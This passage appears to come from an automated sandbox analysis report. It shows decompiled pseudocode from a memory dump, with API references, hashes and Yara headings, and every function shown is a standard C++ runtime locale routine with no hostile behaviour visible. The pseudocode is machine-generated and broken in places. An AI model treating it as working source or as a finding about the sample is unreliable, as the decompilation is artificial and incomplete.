																			 *0x4ede28 = _t229;
																			goto L33;
																		}
																	} else {
																		_t229 = _t236;
																		goto L33;
																	}
																}
															} else {
																_t228 = _v16;
																_v16 = _t228;
																_v4 = 1;
																E0048919D(_t228);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t228 + 4))))();
																 *0x4eddf4 = _t228;
																goto L26;
															}
														} else {
															_t228 = _t235;
															goto L26;
														}
													}
												} else {
													_t227 = _v16;
													_v16 = _t227;
													_v4 = 1;
													E0048919D(_t227);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t227 + 4))))();
													 *0x4ede24 = _t227;
													goto L19;
												}
											} else {
												_t227 = _t234;
												goto L19;
											}
										}
									} else {
										_t226 = _v16;
										_v16 = _t226;
										_v4 = 1;
										E0048919D(_t226);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t226 + 4))))();
										 *0x4eddd8 = _t226;
										goto L12;
									}
								} else {
									_t226 = _t233;
									goto L12;
								}
							}
						} else {
							_t225 = _v16;
							_v16 = _t225;
							_v4 = 1;
							E0048919D(_t225);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 4))))();
							 *0x4ede08 = _t225;
							goto L5;
						}
					} else {
						_t225 = _t232;
						goto L5;
					}
				}
			}

0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd13
0x0048cd18
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20

APIs

__EH_prolog3.LIBCMT ref: 0048CCE9
std::_Lockit::_Lockit.LIBCPMT ref: 0048CCF3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0048CD2D
std::_Facet_Register.LIBCPMT ref: 0048CD44
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CD64
Concurrency::cancel_current_task.LIBCPMT ref: 0048CD71

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registernumpunct
String ID:
API String ID: 2374177825-0
Opcode ID: 367ebb04587d87fade31d1f9f7d0bc185edd064d42c03fc606f47292d501d2ab
Instruction ID: 8c87d4b2a5c4ce9837a0f1ad041f8c33bf239e2224542b802fa9165208752077
Opcode Fuzzy Hash: 367ebb04587d87fade31d1f9f7d0bc185edd064d42c03fc606f47292d501d2ab
Instruction Fuzzy Hash: 7401E1359002158BCB01FBA5D8996BE7BA0AF80324F14081EE4106B382CF789D01C798

Uniqueness

Uniqueness Score: -1.00%

Function 0048CD77, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CD77(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v56;
				signed int _t69;
				void* _t118;
				short* _t172;
				void* _t188;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				void* _t194;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				short* _t200;
				void* _t210;
				void* _t211;

				_push(8);
				E0049D90B(0x4d6966, _t188, _t194);
				E00488DEA( &_v20, 0);
				_t195 =  *0x4eddd8; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t195;
				_t69 = E0042B315(_a8, E0042B22E(0x4edd84, _t188, _t195, _t211));
				_t189 = _t69;
				if(_t69 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t189);
				} else {
					if(_t195 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E682(_t189, _t195, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t189, _t195);
							E00488DEA( &_v20, 0);
							_t196 =  *0x4ede24; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t196;
							_t190 = E0042B315(_a8, E0042B22E(0x4eddc8, _t189, _t196, __eflags));
							__eflags = _t190;
							if(_t190 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t190);
							} else {
								__eflags = _t196;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E6FD(_t190, _t196, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t190, _t196);
										E00488DEA( &_v20, 0);
										_t197 =  *0x4eddf4; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t197;
										_t191 = E0042B315(_a8, E0042B22E(0x4edda0, _t190, _t197, __eflags));
										__eflags = _t191;
										if(_t191 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t191);
										} else {
											__eflags = _t197;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E769(_t191, _t197, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t191, _t197);
													E00488DEA( &_v20, 0);
													_t198 =  *0x4ede28; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t198;
													_t192 = E0042B315(_a8, E0042B22E(0x4eddcc, _t191, _t198, __eflags));
													__eflags = _t192;
													if(_t192 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t192);
													} else {
														__eflags = _t198;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E7D5(_t192, _t198, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t192, _t198);
																E00488DEA( &_v20, 0);
																_t199 =  *0x4eddf8; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t199;
																_t193 = E0042B315(_a8, E0042B22E(0x4edd78, _t192, _t199, __eflags));
																__eflags = _t193;
																if(_t193 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t193);
																} else {
																	__eflags = _t199;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		_t118 = E0048E849(_t193, _t199, __eflags);
																		_pop(_t172);
																		__eflags = _t118 - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(_t199);
																			_t200 = _t172;
																			_t62 = _t200 + 0x10;
																			 *_t62 =  *(_t200 + 0x10) & 0x00000000;
																			__eflags =  *_t62;
																			 *((intOrPtr*)(_t200 + 0x14)) = 7;
																			 *_t200 = 0;
																			E00494BE0( *((intOrPtr*)(_t210 + 8)));
																			return _t200;
																		} else {
																			_t193 = _v16;
																			_v16 = _t193;
																			_v4 = 1;
																			E0048919D(_t193);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t193 + 4))))();
																			 *0x4eddf8 = _t193;
																			goto L33;
																		}
																	} else {
																		_t193 = _t199;
																		goto L33;
																	}
																}
															} else {
																_t192 = _v16;
																_v16 = _t192;
																_v4 = 1;
																E0048919D(_t192);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t192 + 4))))();
																 *0x4ede28 = _t192;
																goto L26;
															}
														} else {
															_t192 = _t198;
															goto L26;
														}
													}
												} else {
													_t191 = _v16;
													_v16 = _t191;
													_v4 = 1;
													E0048919D(_t191);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t191 + 4))))();
													 *0x4eddf4 = _t191;
													goto L19;
												}
											} else {
												_t191 = _t197;
												goto L19;
											}
										}
									} else {
										_t190 = _v16;
										_v16 = _t190;
										_v4 = 1;
										E0048919D(_t190);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t190 + 4))))();
										 *0x4ede24 = _t190;
										goto L12;
									}
								} else {
									_t190 = _t196;
									goto L12;
								}
							}
						} else {
							_t189 = _v16;
							_v16 = _t189;
							_v4 = 1;
							E0048919D(_t189);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t189 + 4))))();
							 *0x4eddd8 = _t189;
							goto L5;
						}
					} else {
						_t189 = _t195;
						goto L5;
					}
				}
			}

0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cda8
0x0048cdad
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5

APIs

__EH_prolog3.LIBCMT ref: 0048CD7E
std::_Lockit::_Lockit.LIBCPMT ref: 0048CD88

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

numpunct.LIBCPMT ref: 0048CDC2
std::_Facet_Register.LIBCPMT ref: 0048CDD9
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CDF9
Concurrency::cancel_current_task.LIBCPMT ref: 0048CE06

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registernumpunct
String ID:
API String ID: 2374177825-0
Opcode ID: ef13acadf03ad1f7fc320985d595e2b29bda19a08db9f3b729d9241fa1a35930
Instruction ID: 6c0a9b1e10a7c71c3c8324c33f60b81c870842f5402ba6e9a3eb8f35da619dfa
Opcode Fuzzy Hash: ef13acadf03ad1f7fc320985d595e2b29bda19a08db9f3b729d9241fa1a35930
Instruction Fuzzy Hash: 9701C475D001158BCB06FB65D8956BE7BA1AF84314F55095FE8116B382CF3C9E01C79D

Uniqueness

Uniqueness Score: -1.00%

Function 004301CC, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E004301CC(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t52;
				intOrPtr _t54;
				signed char** _t57;
				intOrPtr _t59;
				void* _t60;

				_t54 = __ecx;
				_push(0x60);
				E0049D93F(0x4c5446, __edi, __esi);
				_t59 = _t54;
				_t57 = E004A5AB9();
				E00489787(_t60 - 0x3c);
				 *((intOrPtr*)(_t60 - 0x40)) = _t59;
				 *((intOrPtr*)(_t59 + 8)) = 0;
				 *((intOrPtr*)(_t59 + 0x10)) = 0;
				 *((intOrPtr*)(_t59 + 0x14)) = 0;
				 *(_t60 - 4) = 0;
				_t52 = 0x40f063;
				_t65 =  *((intOrPtr*)(_t60 + 0xc));
				if( *((intOrPtr*)(_t60 + 0xc)) == 0) {
					_t52 = _t57[2];
				}
				E00489787(_t60 - 0x3c);
				_push(_t60 - 0x6c);
				_push(0);
				 *((intOrPtr*)(_t59 + 8)) = E004302EE(_t57, _t59, _t60, _t65, _t52);
				_push(_t60 - 0x3c);
				_push(0);
				 *((intOrPtr*)(_t59 + 0x10)) = E004302EE(_t57, _t59, _t60, _t65, "false");
				_push(_t60 - 0x3c);
				_push(0);
				 *((intOrPtr*)(_t59 + 0x14)) = E004302EE(_t57, _t59, _t60, _t65, "true");
				 *((intOrPtr*)(_t60 - 0x40)) = 0;
				_push(_t60 - 0x3c);
				_push(0);
				if( *((intOrPtr*)(_t60 + 0xc)) == 0) {
					 *((char*)(_t59 + 0xc)) = E0043032A( *( *_t57) & 0x000000ff);
					_push(_t60 - 0x3c);
					_push(0);
					_push( *(_t57[1]) & 0x000000ff);
				} else {
					 *((char*)(_t59 + 0xc)) = E0043032A(0x2e);
					_push(_t60 - 0x3c);
					_push(0);
					_push(0x2c);
				}
				 *((char*)(_t59 + 0xd)) = E0043032A();
				 *(_t60 - 4) =  *(_t60 - 4) | 0xffffffff;
				return E0049D8E9(_t48, _t57, _t59);
			}

0x004301cc
0x004301cc
0x004301d3
0x004301d8
0x004301df
0x004301e5
0x004301ec
0x004301f0
0x004301f3
0x004301f6
0x004301f9
0x004301fc
0x00430201
0x00430204
0x00430206
0x00430206
0x0043020d
0x00430215
0x00430216
0x0043021e
0x00430226
0x00430227
0x00430232
0x00430238
0x00430239
0x00430247
0x0043024d
0x00430250
0x00430251
0x00430255
0x00430275
0x0043027b
0x0043027f
0x00430283
0x00430257
0x0043025e
0x00430264
0x00430265
0x00430266
0x00430266
0x00430289
0x0043028f
0x00430298

APIs

__EH_prolog3_GS.LIBCMT ref: 004301D3
__Getcvt.LIBCPMT ref: 004301E5
__Getcvt.LIBCPMT ref: 0043020D

Strings

false, xrefs: 00430228
true, xrefs: 0043023A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Getcvt$H_prolog3_
String ID: false$true
API String ID: 4085572910-2658103896
Opcode ID: ea4191a211f3c7b8b38784d1ff0e0f436af73cb0f23fbff5d976b9e803d5be47
Instruction ID: 677c1ce155cf09159817d19818d2668137ab5584c5fc0557ba10d4e1fab97d9e
Opcode Fuzzy Hash: ea4191a211f3c7b8b38784d1ff0e0f436af73cb0f23fbff5d976b9e803d5be47
Instruction Fuzzy Hash: 96214FB1D00748AFDB20EFF5D891A5FBBBCAB08304F04866FB565D7242D73899048B69

Uniqueness

Uniqueness Score: -1.00%

Function 0049289C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0049289C(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				void* _t34;
				signed int _t38;
				signed int _t39;
				intOrPtr _t47;
				intOrPtr _t49;
				void* _t50;
				intOrPtr* _t51;
				intOrPtr _t52;
				signed int _t53;
				void* _t63;
				intOrPtr _t66;
				void* _t67;
				void* _t71;

				_t71 = __eflags;
				_t52 = __ecx;
				_push(0x30);
				E0049D90B(0x4d6da8, __edi, __esi);
				_t49 = _t52;
				 *((intOrPtr*)(_t67 - 0x10)) = _t49;
				_t32 = E00489787(_t67 - 0x3c);
				_t50 = _t49 + 0x2c;
				_t53 = 0xb;
				memcpy(_t50, _t32, _t53 << 2);
				_t34 = E004A5AB9();
				_t66 =  *((intOrPtr*)(_t67 - 0x10));
				_t63 = _t34;
				 *((intOrPtr*)(_t67 - 0x10)) = _t66;
				 *((intOrPtr*)(_t66 + 8)) = 0;
				 *((intOrPtr*)(_t66 + 0x10)) = 0;
				 *((intOrPtr*)(_t66 + 0x14)) = 0;
				 *((intOrPtr*)(_t66 + 0x18)) = 0;
				_push(_t50);
				_push(0);
				 *((intOrPtr*)(_t67 - 4)) = 0;
				 *((intOrPtr*)(_t66 + 8)) = E004302EE(_t63, _t66, _t67, _t71,  *((intOrPtr*)(_t63 + 0x1c)));
				E0048BAE8(_t66, 0, _t63);
				if( *((char*)(_t66 + 0x28)) == 0) {
					_t38 =  *((intOrPtr*)(_t63 + 0x29));
				} else {
					_t38 =  *((intOrPtr*)(_t63 + 0x28));
				}
				_t39 = _t38;
				 *(_t66 + 0x1c) = _t39;
				if(_t39 < 0 || _t39 >= 0x7f) {
					 *(_t66 + 0x1c) =  *(_t66 + 0x1c) & 0x00000000;
				}
				_t20 = _t66 + 0x20; // 0x20
				_t51 = _t20;
				E00493C84(_t66, _t51,  *((char*)(_t63 + 0x2b)),  *((char*)(_t63 + 0x2a)),  *((char*)(_t63 + 0x2e)));
				_t24 = _t66 + 0x24; // 0x24
				_t47 = E00493C84(_t66, _t24,  *((char*)(_t63 + 0x2d)),  *((char*)(_t63 + 0x2c)),  *((char*)(_t63 + 0x2f)));
				if( *((char*)(_t67 + 0xc)) != 0) {
					_t47 = 0x76782b24;
					 *_t51 = 0x76782b24;
					 *((intOrPtr*)(_t66 + 0x24)) = 0x76782b24;
				}
				return E0049D8D4(_t47);
			}

0x0049289c
0x0049289c
0x0049289c
0x004928a3
0x004928a8
0x004928aa
0x004928b1
0x004928b6
0x004928bd
0x004928c0
0x004928c2
0x004928c7
0x004928ca
0x004928ce
0x004928d1
0x004928d4
0x004928d7
0x004928da
0x004928dd
0x004928de
0x004928e2
0x004928ed
0x004928f5
0x004928fe
0x00492905
0x00492900
0x00492900
0x00492900
0x00492908
0x0049290b
0x00492910
0x00492917
0x00492917
0x0049291f
0x0049291f
0x00492930
0x00492939
0x0049294a
0x00492953
0x00492955
0x0049295a
0x0049295c
0x0049295c
0x00492964

APIs

__EH_prolog3.LIBCMT ref: 004928A3
__Getcvt.LIBCPMT ref: 004928B1

Part of subcall function 004302EE: _strlen.LIBCMT ref: 004302F4

Part of subcall function 0048BAE8: _Maklocstr.LIBCPMT ref: 0048BB08
Part of subcall function 0048BAE8: _Maklocstr.LIBCPMT ref: 0048BB25
Part of subcall function 0048BAE8: _Maklocstr.LIBCPMT ref: 0048BB42
Part of subcall function 0048BAE8: _Maklocchr.LIBCPMT ref: 0048BB54
Part of subcall function 0048BAE8: _Maklocchr.LIBCPMT ref: 0048BB67

_Mpunct.LIBCPMT ref: 00492930
_Mpunct.LIBCPMT ref: 0049294A

Strings

$+xv, xrefs: 00492955

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocstr$MaklocchrMpunct$GetcvtH_prolog3_strlen
String ID: $+xv
API String ID: 3506764189-1686923651
Opcode ID: 91cecb4d499f96e0331ccc3c769fc6d9dcb1a8bb90a5d6f7f655957ee20a7b2d
Instruction ID: d4007caeb0ed6ab0e23313825519e23d98435ac1e76fd6f7e882ab886e41fa89
Opcode Fuzzy Hash: 91cecb4d499f96e0331ccc3c769fc6d9dcb1a8bb90a5d6f7f655957ee20a7b2d
Instruction Fuzzy Hash: 9821C7B1904B566EDB25DF76849077BBEF8AB0D304F04052FE499C7A42D778DA01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0049AB98, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0049AB98(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				void* _t34;
				signed int _t38;
				signed int _t39;
				intOrPtr _t47;
				intOrPtr _t49;
				void* _t50;
				intOrPtr* _t51;
				intOrPtr _t52;
				signed int _t53;
				void* _t63;
				intOrPtr _t66;
				void* _t67;
				void* _t71;

				_t71 = __eflags;
				_t52 = __ecx;
				_push(0x30);
				E0049D90B(0x4d6da8, __edi, __esi);
				_t49 = _t52;
				 *((intOrPtr*)(_t67 - 0x10)) = _t49;
				_t32 = E00489787(_t67 - 0x3c);
				_t50 = _t49 + 0x2c;
				_t53 = 0xb;
				memcpy(_t50, _t32, _t53 << 2);
				_t34 = E004A5AB9();
				_t66 =  *((intOrPtr*)(_t67 - 0x10));
				_t63 = _t34;
				 *((intOrPtr*)(_t67 - 0x10)) = _t66;
				 *((intOrPtr*)(_t66 + 8)) = 0;
				 *((intOrPtr*)(_t66 + 0x10)) = 0;
				 *((intOrPtr*)(_t66 + 0x14)) = 0;
				 *((intOrPtr*)(_t66 + 0x18)) = 0;
				_push(_t50);
				_push(0);
				 *((intOrPtr*)(_t67 - 4)) = 0;
				 *((intOrPtr*)(_t66 + 8)) = E004302EE(_t63, _t66, _t67, _t71,  *((intOrPtr*)(_t63 + 0x1c)));
				E0049941F(_t66, 0, _t63);
				if( *((char*)(_t66 + 0x28)) == 0) {
					_t38 =  *((intOrPtr*)(_t63 + 0x29));
				} else {
					_t38 =  *((intOrPtr*)(_t63 + 0x28));
				}
				_t39 = _t38;
				 *(_t66 + 0x1c) = _t39;
				if(_t39 < 0 || _t39 >= 0x7f) {
					 *(_t66 + 0x1c) =  *(_t66 + 0x1c) & 0x00000000;
				}
				_t20 = _t66 + 0x20; // 0x20
				_t51 = _t20;
				E00493C84(_t66, _t51,  *((char*)(_t63 + 0x2b)),  *((char*)(_t63 + 0x2a)),  *((char*)(_t63 + 0x2e)));
				_t24 = _t66 + 0x24; // 0x24
				_t47 = E00493C84(_t66, _t24,  *((char*)(_t63 + 0x2d)),  *((char*)(_t63 + 0x2c)),  *((char*)(_t63 + 0x2f)));
				if( *((char*)(_t67 + 0xc)) != 0) {
					_t47 = 0x76782b24;
					 *_t51 = 0x76782b24;
					 *((intOrPtr*)(_t66 + 0x24)) = 0x76782b24;
				}
				return E0049D8D4(_t47);
			}

0x0049ab98
0x0049ab98
0x0049ab98
0x0049ab9f
0x0049aba4
0x0049aba6
0x0049abad
0x0049abb2
0x0049abb9
0x0049abbc
0x0049abbe
0x0049abc3
0x0049abc6
0x0049abca
0x0049abcd
0x0049abd0
0x0049abd3
0x0049abd6
0x0049abd9
0x0049abda
0x0049abde
0x0049abe9
0x0049abf1
0x0049abfa
0x0049ac01
0x0049abfc
0x0049abfc
0x0049abfc
0x0049ac04
0x0049ac07
0x0049ac0c
0x0049ac13
0x0049ac13
0x0049ac1b
0x0049ac1b
0x0049ac2c
0x0049ac35
0x0049ac46
0x0049ac4f
0x0049ac51
0x0049ac56
0x0049ac58
0x0049ac58
0x0049ac60

APIs

__EH_prolog3.LIBCMT ref: 0049AB9F
__Getcvt.LIBCPMT ref: 0049ABAD

Part of subcall function 004302EE: _strlen.LIBCMT ref: 004302F4

_Mpunct.LIBCPMT ref: 0049AC2C
_Mpunct.LIBCPMT ref: 0049AC46

Strings

$+xv, xrefs: 0049AC51

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Mpunct$GetcvtH_prolog3_strlen
String ID: $+xv
API String ID: 556337393-1686923651
Opcode ID: a66196ce39e1a9263a0aa6c799fc6fe6719f95adc7c728b3e08afca19ddad0e4
Instruction ID: cd7b428007d03788b8c8db4644eff112bf5fded5e64f55c7bce39db12e2ec46d
Opcode Fuzzy Hash: a66196ce39e1a9263a0aa6c799fc6fe6719f95adc7c728b3e08afca19ddad0e4
Instruction Fuzzy Hash: 4521B2B1904A526FDB25DF75849073BBEE8AB09304F04056FE499C7A41D738EA11CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 004ACD9D, Relevance: 7.6, APIs: 5, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E004ACD9D(void* __eflags, char* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				char* _t31;
				intOrPtr _t35;
				intOrPtr _t43;
				char _t51;
				intOrPtr _t53;
				void* _t55;
				void* _t61;
				void* _t62;
				void* _t65;

				E004A3439( &_v28, _a24);
				_t51 = 0;
				_t53 =  *((intOrPtr*)(_v24 + 0x14));
				_t31 = _a4;
				_v8 = _t53;
				if(_t31 == 0) {
					L4:
					 *((intOrPtr*)(E004A966E())) = 0x16;
					E004A5E77();
					L18:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return _t51;
				}
				_t64 = _a8;
